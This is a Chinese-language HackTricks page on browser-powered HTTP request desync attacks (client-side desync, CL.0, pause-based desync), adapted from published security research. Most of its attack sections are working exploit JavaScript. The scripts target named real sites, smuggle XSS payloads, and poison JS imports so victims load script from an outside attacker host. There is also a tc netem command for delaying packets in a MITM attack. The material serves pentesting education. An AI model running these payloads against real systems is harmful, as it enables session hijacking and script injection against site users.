mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
321 lines
20 KiB
Markdown
321 lines
20 KiB
Markdown
# 浏览器HTTP请求劫持
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
## CL.0/H2.0 浏览器兼容的分离
|
||
|
||
当**后端服务器**完全**忽略**了**内容长度**(CL)头时,就会出现此漏洞。然后,后端将**请求体**视为**第二个请求方法的开始**。忽略CL等同于将其视为值为0,因此这是一个CL.0分离 - 一个已知但较少探索的攻击类别。
|
||
|
||
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
||
|
||
攻击之所以可能是因为后端服务器根本**不期望收到POST请求**。
|
||
|
||
{% hint style="warning" %}
|
||
请注意,此漏洞是由一个完全**有效**、符合规范的**HTTP请求**所**触发**的。这意味着**前端无法对其进行保护**,甚至可以由浏览器触发。
|
||
{% endhint %}
|
||
|
||
**CL.0**和**H2.0**之间唯一的**区别**是后者使用了**HTTP2**(具有隐式内容长度头),但**后端也没有使用**。
|
||
|
||
## 客户端分离
|
||
|
||
传统的分离攻击会**破坏**前端和后端服务器之间的**连接**,因此在不使用前端/后端架构的网站上是不可能的。从现在开始,这些都是**服务器端分离**。大多数**服务器端分离**只能由**自定义的HTTP客户端发出格式错误的请求**来触发。
|
||
|
||
浏览器能够引起分离的能力开启了一整个新的威胁类别,称为**客户端分离**(CSD)。\
|
||
CSD攻击始于**受害者访问攻击者的网站**,然后使其浏览器发送**两个跨域请求到易受攻击的网站**。**第一个**请求被设计为**分离浏览器的连接**,并使**第二个请求触发**一个有害的响应,通常是让攻击者控制受害者的账户。
|
||
|
||
### 检测
|
||
|
||
CSD向量是一个具有**两个关键属性**的HTTP请求。
|
||
|
||
首先,**服务器必须忽略请求的内容长度(CL)**。这通常是因为请求**触发了服务器错误**,或者服务器根本**不期望将POST请求**发送到所选的端点。尝试针对**静态文件**和**服务器级重定向**进行攻击,并通过**过长的URL**和**半格式错误**(如 /%2e%2e)来触发错误。
|
||
|
||
其次,请求必须能够在**Web浏览器跨域**中触发。浏览器严格限制对跨域请求的控制,因此您对头部的控制权有限,如果请求有请求体,则需要使用HTTP POST方法。最终,您只能**控制URL**,以及一些其他杂项,如**Referer头部**、**请求体**和**Content-Type的后半部分**。
|
||
|
||
#### 忽略CL测试
|
||
|
||
测试此配置错误的方法是**发送2个请求并劫持其中一个**。如果**劫持的**连接**影响了第二个请求的响应**,则表示它是**易受攻击的**:
|
||
|
||
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
||
|
||
{% hint style="warning" %}
|
||
请注意,您**不能**仅通过发送一个**比已发送的Content-Length更大**的Content-Length并**查找超时**来测试此漏洞,因为一些服务器即使没有接收到整个请求体也会**响应**。
|
||
{% endhint %}
|
||
|
||
需要注意的是,目标网站是否支持HTTP/2。CSD攻击通常利用HTTP/1.1的连接重用,而Web浏览器在可能的情况下更喜欢使用HTTP/2,因此如果目标网站支持HTTP/2,则您的攻击可能不起作用。有一个**例外**;一些**转发代理不支持HTTP/2**,因此您可以利用使用它们的任何人。这包括企业代理、某些侵入式VPN甚至一些安全工具。
|
||
### 确认
|
||
|
||
首先,选择一个用于发起攻击的站点。该站点必须通过HTTPS访问,并且位于与目标不同的域上。
|
||
|
||
接下来,确保您没有配置代理,然后浏览到您的攻击站点。打开开发者工具并切换到网络选项卡。为了帮助调试潜在的问题,我建议进行以下调整:
|
||
|
||
* 选择“保留日志”复选框。
|
||
* 右键单击列标题,启用“连接ID”列。
|
||
|
||
切换到开发者控制台并使用fetch()执行JavaScript来复制您的攻击序列。可能会看起来像这样:
|
||
```javascript
|
||
fetch('https://example.com/', {
|
||
method: 'POST',
|
||
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||
mode: 'no-cors', // ensure connection ID is visible
|
||
credentials: 'include' // poison 'with-cookies' pool
|
||
}).then(() => {
|
||
location = 'https://example.com/' // use the poisoned connection
|
||
})
|
||
```
|
||
我已将获取模式设置为'no-cors',以确保Chrome在网络选项卡中显示连接ID。我还设置了'credentials: 'include'',因为Chrome有两个单独的连接池-一个用于带有cookie的请求,另一个用于不带cookie的请求。通常,您希望利用导航,并且这些导航使用'with-cookies'池,因此值得养成始终污染该池的习惯。
|
||
|
||
当您执行此操作时,您应该在网络选项卡中看到两个具有相同连接ID的请求,第二个请求应该触发404错误:
|
||
|
||
![](<../../.gitbook/assets/image (158) (2).png>)
|
||
|
||
如果一切按预期工作,恭喜您-您发现了一个客户端解同步漏洞!
|
||
|
||
### 利用-存储
|
||
|
||
一种选择是识别目标站点上允许您存储文本数据的功能,并制作前缀,以便您的受害者的cookie、身份验证标头或密码最终被存储在您可以检索的位置。此攻击流程与服务器端请求解同步几乎完全相同,因此我不会详细介绍。
|
||
|
||
### 利用-链式攻击
|
||
|
||
在正常情况下,许多类别的服务器端攻击只能由直接访问目标网站的攻击者发起,因为它们依赖于浏览器拒绝发送的HTTP请求,例如篡改HTTP标头-Web缓存污染、大多数服务器端请求解同步、主机标头攻击、基于用户代理的SQLi、CSRF JSON内容类型和其他许多攻击。
|
||
|
||
成功攻击的最简单路径来自通常用于服务器端解同步攻击的两个关键技术:通过主机标头重定向进行JavaScript资源污染和使用HEAD方法通过有害HTML拼接响应。这两种技术需要进行适应,以克服与在受害者的浏览器中操作相关的一些新挑战。
|
||
|
||
## 攻击示例
|
||
|
||
### 堆叠的HEAD示例
|
||
|
||
* 彩色攻击
|
||
|
||
![](<../../.gitbook/assets/image (2) (3).png>)
|
||
|
||
* JS攻击
|
||
```javascript
|
||
fetch('https://www.capitalone.ca/assets', {
|
||
method: 'POST',
|
||
// use a cache-buster to delay the response
|
||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||
credentials: 'include',
|
||
mode: 'cors' // throw an error instead of following redirect
|
||
}).catch(() => {
|
||
location = 'https://www.capitalone.ca/'
|
||
})va
|
||
```
|
||
解释:
|
||
|
||
* 在 /assets 中滥用 CL.0(它重定向到 /assets/ 并且不检查 CL)
|
||
* 利用一个 HEAD 请求(因为 HEAD 响应仍然包含 content-length)
|
||
* 利用一个 GET 请求,其内容将在响应中被反射,并带有有效载荷。
|
||
* 由于 HEAD 请求的 content-length,此请求的响应将是 HEAD 请求的正文
|
||
* 设置 cors 模式。通常不会这样做,但在这种情况下,服务器对初始 POST 的响应是一个重定向,如果跟随,则 exploit 将无法工作。因此,使用 cors 模式来触发错误并使用 `catch` 重定向受害者。
|
||
|
||
### Host header 重定向 + 客户端缓存污染
|
||
|
||
* JS exploit
|
||
```javascript
|
||
fetch('https://redacted/', {
|
||
method: 'POST',
|
||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||
credentials: 'include'}
|
||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||
```
|
||
* 通过在Host头中使用**不同的域名**发送到`/+webvpn+/`的请求会被**重定向**到Host头中的该**域名**的`/+webvpn+/index.html`。
|
||
* 第二个请求中的位置被设置为`/+CSCOE+/win.js`,以便**污染**该`.js`文件的**缓存**。
|
||
* 这个请求将被回答为将`/+webvpn+/`重定向到攻击者的域名,并带有路径`/+webvpn+/index.html`。
|
||
* **`win.js`**的**缓存**将被**污染**为重定向到攻击者的页面,但受害者也会**跟随**重定向,因为它在`location`变量中被分配,并最终进入攻击者的网页。
|
||
* 攻击者随后将**受害者**重定向到`https://redacted/+CSCOE+/logon.html`。该页面将导入`/+CSCOE+/win.js`。其**缓存是一个重定向**到攻击者的服务器,因此,攻击者可以**响应恶意JS**。
|
||
|
||
**受害者**将**两次访问**攻击者的页面,第一次它**期望一个HTML**将受害者重定向回`https://redacted/+CSCOE+/logon.html`,第二次它**期望javascript代码**(有效载荷)。可以使用多语言来仅使用一个响应提供这两个响应:
|
||
```
|
||
HTTP/1.1 200 OK
|
||
Content-Type: text/html
|
||
|
||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||
```
|
||
### 使用分块传输编码的 HEAD 负载
|
||
|
||
在寻找 CSD 时,您还可以测试半格式错误的 URL,如 `/..%2f` 或 `/%2f`。
|
||
|
||
* **彩色利用**
|
||
|
||
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
||
|
||
* **JS 利用**
|
||
```javascript
|
||
fetch('https://www.verisign.com/%2f', {
|
||
method: 'POST',
|
||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||
credentials: 'include',
|
||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||
}}).catch(() => {
|
||
let form = document.createElement('form')
|
||
form.method = 'POST'
|
||
form.action = 'https://www.verisign.com/robots.txt'
|
||
form.enctype = 'text/plain'
|
||
let input = document.createElement('input')
|
||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||
input.value = ''
|
||
form.appendChild(input)
|
||
document.body.appendChild(form)
|
||
form.submit()
|
||
}
|
||
```
|
||
* 访问页面 **`/%2f`** 来利用 **CL.0** 漏洞。
|
||
* 使用 **`Transfer-Encoding: chunked` header** 进行伪造的 **HEAD** 请求。
|
||
* 在这种情况下,需要这个 header,否则服务器会拒绝带有 body 的 HEAD 请求。
|
||
* 然后,用户发送一个 POST 请求,其 body 包含了前一个 HEAD 请求的 **结束块** 和一个被伪造的 **包含内容**(JS 载荷)的新请求,该内容将在响应中被 **反射**。
|
||
* 因此,浏览器将把对 HEAD 请求的响应视为对 POST 请求的响应,该响应也包含了反映用户在第二个伪造请求中的输入的响应。
|
||
|
||
### Host header 重定向 + RC
|
||
|
||
* **JS Exploit**
|
||
```html
|
||
<script>
|
||
function reset() {
|
||
fetch('https://vpn.redacted/robots.txt',
|
||
{mode: 'no-cors', credentials: 'include'}
|
||
).then(() => {
|
||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||
})
|
||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||
}
|
||
|
||
function poison(){
|
||
sendPoison()
|
||
sendPoison()
|
||
sendPoison()
|
||
setTimeout(reset, 1000)
|
||
}
|
||
|
||
function sendPoison(){
|
||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||
{
|
||
method: 'POST',
|
||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||
mode: 'no-cors',
|
||
credentials: 'include'
|
||
}
|
||
)
|
||
}
|
||
|
||
</script>
|
||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||
```
|
||
在这种情况下,再次存在一个可以用来劫持JS导入的**主机头重定向**。然而,这次的**重定向不可缓存**,所以客户端的**缓存污染**不是一个选择。
|
||
|
||
因此,攻击将使**受害者在一个标签页中访问易受攻击的页面**,然后,在页面尝试**加载JS文件之前**,**毒化**套接字**走私连接**(在这种情况下为3个)。
|
||
由于**时间**必须非常**精确**,所以攻击是针对每次迭代的**新标签页**执行,直到成功为止。
|
||
|
||
{% hint style="warning" %}
|
||
请记住,在这种情况下,攻击的是`/meeting_testjs.cgi`,因为它**加载**一个响应**404**的**Javascript**,所以它不会被缓存。在其他尝试攻击**已缓存JS**的场景中,您需要等待它从缓存中**消失**,然后再发起新的攻击。
|
||
{% endhint %}
|
||
|
||
摘要步骤:
|
||
|
||
* 打开一个新窗口。
|
||
* 发出一个无害的请求到目标,以建立一个新的连接,使时间更加一致。
|
||
* 在窗口中导航到目标页面`/meeting_testjs.cgi`。
|
||
* 120毫秒后,使用重定向工具创建三个被毒化的连接。
|
||
* 5毫秒后,在渲染`/meeting_testjs.cgi`时,受害者有希望尝试导入`/appletRedirect.js`并被重定向到x.psres.net,该网站提供恶意JS。
|
||
* 如果没有成功,重试攻击。
|
||
|
||
## 基于暂停的解同步 <a href="#pause" id="pause"></a>
|
||
|
||
通过**触发错误的请求超时实现**,暂停也可以创建新的解同步漏洞。
|
||
|
||
因此,攻击者可以发送一个带有**指示存在请求体的头部**的请求,然后**等待**前端在发送请求体之前**超时**。如果前端超时但**保持连接打开**,那个请求的**请求体**将被**视为新的请求**。
|
||
|
||
### 示例:**Varnish**
|
||
|
||
Varnish缓存有一个名为`synth()`的功能,它允许您发出**响应而不将请求转发**到后端。下面是一个用于阻止访问文件夹的示例规则:
|
||
```javascript
|
||
if (req.url ~ "^/admin") {
|
||
return (synth(403, "Forbidden"));
|
||
}
|
||
```
|
||
当处理与合成规则匹配的**部分请求**时,如果Varnish在**15秒**内未收到任何数据,它将**超时**。当发生这种情况时,它会**保持连接打开**以便重用,即使它只读取了一半的请求。这意味着如果**客户端随后发送第二部分**的HTTP请求,它将被解释为一个**新的请求**。
|
||
|
||
要在易受攻击的前端触发基于暂停的不同步,首先发送头部,承诺有一个正文,然后等待。最终你会收到一个响应,当你最终发送请求正文时,它将被解释为一个新的请求:
|
||
|
||
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
||
|
||
{% hint style="warning" %}
|
||
显然,这个问题在1月25日被修复为[CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html)。
|
||
{% endhint %}
|
||
|
||
### 示例:**Apache**
|
||
|
||
就像Varnish一样,它在**服务器自己生成响应的端点**上是易受攻击的,而不是让应用程序处理请求。其中一种情况是服务器级别的重定向:`Redirect 301 / /en`
|
||
|
||
### 服务器端利用 <a href="#server" id="server"></a>
|
||
|
||
如果易受攻击的服务器(在这种情况下是Apache或Varnish)位于后端,则需要一个**前端**将请求(在这种情况下是HTTP头)**流式传输到后端**服务器,而不是缓冲整个请求正文。
|
||
|
||
![](<../../.gitbook/assets/image (3) (3).png>)
|
||
|
||
在这种情况下,攻击者**直到发送正文之前都不会收到响应超时**。但是,如果他知道超时时间,这不应该是个问题。
|
||
|
||
亚马逊的应用程序负载均衡器(ALB)将根据需要**流式传输连接的数据**,但是如果它在**接收到**半个请求的**响应**(超时)**之前**接收到**正文**,它将**不会发送正文**,因此在这里必须利用**竞争条件**:
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
在**利用ALB后面的Apache时**,还存在一个额外的复杂性-**两个服务器**都有一个默认的**60秒超时**。这给发送请求的第二部分留下了一个**非常短的时间窗口**。RC攻击最终在66小时后成功。
|
||
|
||
### MITM利用
|
||
|
||
显然,**无法停止浏览器的请求**以利用暂停不同步漏洞。然而,您总是可以**执行MITM攻击来暂停浏览器发送的请求**。请注意,此攻击**不依赖于解密**任何流量。
|
||
|
||
攻击流程与常规的客户端不同步攻击非常**相似**。用户访问由攻击者控制的页面,该页面向目标应用程序发出一系列**跨域请求**。**第一个HTTP**请求被故意填充得如此**大**,以至于操作系统**将其分成多个TCP数据包**,使得主动的**MITM可以延迟最后一个数据包**,从而触发基于暂停的不同步。由于填充,**攻击者**可以根据**大小**简单地**识别**要**暂停**的**数据包**。
|
||
|
||
从客户端的角度来看,除了请求填充之外,它看起来像是一个常规的客户端不同步使用HEAD gadget。
|
||
```javascript
|
||
let form = document.createElement('form')
|
||
form.method = 'POST'
|
||
form.enctype = 'text/plain'
|
||
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
|
||
let input = document.createElement('input')
|
||
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
|
||
input.value = "x"
|
||
form.append(input)
|
||
document.body.appendChild(form)
|
||
form.submit()
|
||
```
|
||
在执行盲中间人攻击的攻击者系统上,使用tc-NetEm实现了延迟:
|
||
```bash
|
||
# Setup
|
||
tc qdisc add dev eth0 root handle 1: prio priomap
|
||
|
||
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
|
||
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
|
||
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
|
||
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
|
||
and 'cmp(u16 at 2 layer network lt 0x0514)' \
|
||
flowid 1:3
|
||
|
||
# Delay flagged packets by 61 seconds
|
||
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
||
```
|
||
## **参考资料**
|
||
|
||
* 本文的所有信息均来自[https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者你想要**获取最新版本的PEASS或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|